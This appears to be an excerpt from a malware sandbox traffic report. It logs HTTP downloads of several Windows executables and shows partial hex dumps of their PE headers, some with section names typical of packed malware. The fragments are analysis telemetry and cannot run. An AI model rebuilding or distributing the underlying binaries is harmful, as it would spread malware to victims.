Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 14 Dec 2024 13:56:53 GMTContent-Type: application/octet-streamContent-Length: 1776640Last-Modified: Sat, 14 Dec 2024 13:02:29 GMTConnection: keep-aliveETag: "675d81e5-1b1c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 60 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 68 00 00 04 00 00 56 10 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 70 78 6f 6f 73 71 75 00 80 19 00 00 d0 4e 00 00 78 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 62 67 64 6b 75 74 77 00 10 00 00 00 50 68 00 00 04 00 00 00 f6 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 68 00 00 22 00 00 00 fa 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 14 Dec 2024 13:57:02 GMTContent-Type: application/octet-streamContent-Length: 2857984Last-Modified: Sat, 14 Dec 2024 13:56:50 GMTConnection: keep-aliveETag: "675d8ea2-2b9c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2c 00 00 04 00 00 57 bf 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 77 6c 67 6b 79 6a 65 00 40 2b 00 00 a0 00 00 00 3c 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 79 61 70 61 6a 68 77 00 20 00 00 00 e0 2b 00 00 04 00 00 00 76 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2c 00 00 22 00 00 00 7a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Dec 2024 21:57:09 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Fri, 13 Dec 2024 12:55:28 GMTETag: "4b800-629265862d035"Accept-Ranges: bytesContent-Length: 309248Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 63 eb 5a 6c 27 8a 34 3f 27 8a 34 3f 27 8a 34 3f 2e f2 a7 3f 24 8a 34 3f 27 8a 35 3f 2e 8a 34 3f 48 fc 9f 3f 2d 8a 34 3f 48 fc ae 3f 26 8a 34 3f 48 fc a9 3f 26 8a 34 3f 52 69 63 68 27 8a 34 3f 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 bb 2e 5c 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0a 00 00 38 00 00 00 34 00 00 00 00 00 00 f8 33 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 60 72 00 00 28 00 00 00 00 a0 00 00 28 03 00 00 00 90 00 00 4c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e7 37 00 00 00 10 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 80 23 00 00 00 50 00 00 00 24 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 4c 02 00 00 00 90 00 00 00 04 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 28 03 00 00 00 a0 00 00 00 04 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 36 34 00 00 00 00 00 50 04 00 00 b0 00 00 00 50 04 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Dec 2024 21:57:10 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Fri, 13 Dec 2024 12:55:28 GMTETag: "4b800-629265862d035"Accept-Ranges: bytesContent-Length: 309248Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 63 eb 5a 6c 27 8a 34 3f 27 8a 34 3f 27 8a 34 3f 2e f2 a7 3f 24 8a 34 3f 27 8a 35 3f 2e 8a 34 3f 48 fc 9f 3f 2d 8a 34 3f 48 fc ae 3f 26 8a 34 3f 48 fc a9 3f 26 8a 34 3f 52 69 63 68 27 8a 34 3f 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 bb 2e 5c 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0a 00 00 38 00 00 00 34 00 00 00 00 00 00 f8 33 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 60 72 00 00 28 00 00 00 00 a0 00 00 28 03 00 00 00 90 00 00 4c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e7 37 00 00 00 10 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 80 23 00 00 00 50 00 00 00 24 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 4c 02 00 00 00 90 00 00 00 04 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 28 03 00 00 00 a0 00 00 00 04 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 36 34 00 00 00 00 00 50 04 00 00 b0 00 00 00 50 04 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 14 Dec 2024 13:57:14 GMTContent-Type: application/octet-streamContent-Length: 393728Last-Modified: Thu, 12 Dec 2024 07:55:00 GMTConnection: keep-aliveETag: "675a96d4-60200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d8 27 f3 e3 9c 46 9d b0 9c 46 9d b0 9c 46 9d b0 82 14 08 b0 85 46 9d b0 82 14 1e b0 e0 46 9d b0 82 14 19 b0 b6 46 9d b0 bb 80 e6 b0 95 46 9d b0 9c 46 9c b0 18 46 9d b0 82 14 17 b0 9d 46 9d b0 82 14 09 b0 9d 46 9d b0 82 14 0c b0 9d 46 9d b0 52 69 63 68 9c 46 9d b0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c 66 a7 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 05 00 00 04 01 00 00 00 00 00 8f 51 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 24 00 00 04 00 00 d1 cf 06 00 02 00 00 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 38 67 05 00 64 00 00 00 00 30 06 00 98 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 2d 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9e 61 05 00 00 10 00 00 00 62 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ab 00 00 00 80 05 00 00 60 00 00 00 66 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 7a 1e 00 00 30 06 00 00 3c 00 00 00 c6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Dec 2024 21:57:14 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 12 Dec 2024 18:53:38 GMTETag: "138c00-629173b693080"Accept-Ranges: bytesContent-Length: 1281024Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 86 e5 c9 44 c2 84 a7 17 c2 84 a7 17 c2 84 a7 17 d6 ef a3 16 d6 84 a7 17 d6 ef a4 16 d2 84 a7 17 d6 ef a2 16 73 84 a7 17 90 f1 a2 16 86 84 a7 17 90 f1 a3 16 cd 84 a7 17 90 f1 a4 16 c8 84 a7 17 d6 ef a6 16 cf 84 a7 17 c2 84 a6 17 01 84 a7 17 0e f1 ae 16 c6 84 a7 17 0e f1 a7 16 c3 84 a7 17 0e f1 58 17 c3 84 a7 17 0e f1 a5 16 c3 84 a7 17 52 69 63 68 c2 84 a7 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 82 96 5a 67 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 1d 00 c8 0f 00 00 38 04 00 00 00 00 00 c4 fa 0c 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 80 7e 12 00 58 00 00 00 d8 7e 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 9c ae 00 00 00 00 00 00 00 00 00 00 00 30 14 00 6c 12 00 00 00 95 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 95 11 00 38 01 00 00 00 00 00 00 00 00 00 00 00 e0 0f 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 c7 0f 00 00 10 00 00 00 c8 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9e b3 02 00 00 e0 0f 00 00 b4 02 00 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c bb 00 00 00 a0 12 00 00 44 00 00 00 80 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 9c ae 00 00 00 60 13 00 00 b0 00 00 00 c4 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 fc 00 00 00 00 10 14 00 00 02 00 00 00 74 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 76 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 6c 12 00 00 00 30 14 00 00 14 00 00 00 78 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 14 Dec 2024 13:57:19 GMTContent-Type: application/octet-streamContent-Length: 147456Last-Modified: Sat, 14 Dec 2024 13:45:00 GMTConnection: keep-aliveETag: "675d8bdc-24000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 57 88 5d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 38 02 00 00 06 00 00 00 00 00 00 ee 57 02 00 00 20 00 00 00 60 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 02 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a0 57 02 00 4b 00 00 00 00 60 02 00 42 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 02 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 37 02 00 00 20 00 00 00 38 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 42 02 00 00 00 60 02 00 00 04 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 02 00 00 02 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 57 02 00 00 00 00 00 48 00 00 00 02 00 05 00 58 44 02 00 48 13 00 00 01 00 00 00 12 00 00 06 2c 25 00 00 2a 1f 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 01 00 00 0a 2a 1e 02 28 04 00 00 0a 2a a6 73 06 00 00 0a 80 01 00 00 04 73 07 00 00 0a 80 02 00 00 04 73 08 00 00 0a 80 03 00 00 04 73 09 00 00 0a 80 04 00 00 04 2a 00 00 13 30 01 00 0f 00 00 00 01 00 00 11 7e 01 00 00 04 6f 0a 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 02 00 00 11 7e 02 00 00 04 6f 0b 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 03 00 00 11 7e 03 00 00 04 6f 0c 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 04 00 00 11 7e 04 00 00 04 6f 0d 00 00 0a 0a 2b 00 06 2a 00 13 30 02 00 11 00 00 00 05 00 00 11 02 03 28 11 00 00 0a 28 12 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 01 00 0b 00 00 00 06 00 00 11 02 28 13 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 07 00 00 11 d0 05 00 00 02 28 14 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 08 00 00 11 02 28 15 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 18 00 00 00 09 00 00 11 02 8c 01 00 00 1b 2d 0a 28 01 00 00 2b 0a 2b 06 2b 04 02 0a 2b 00 06 2a 1
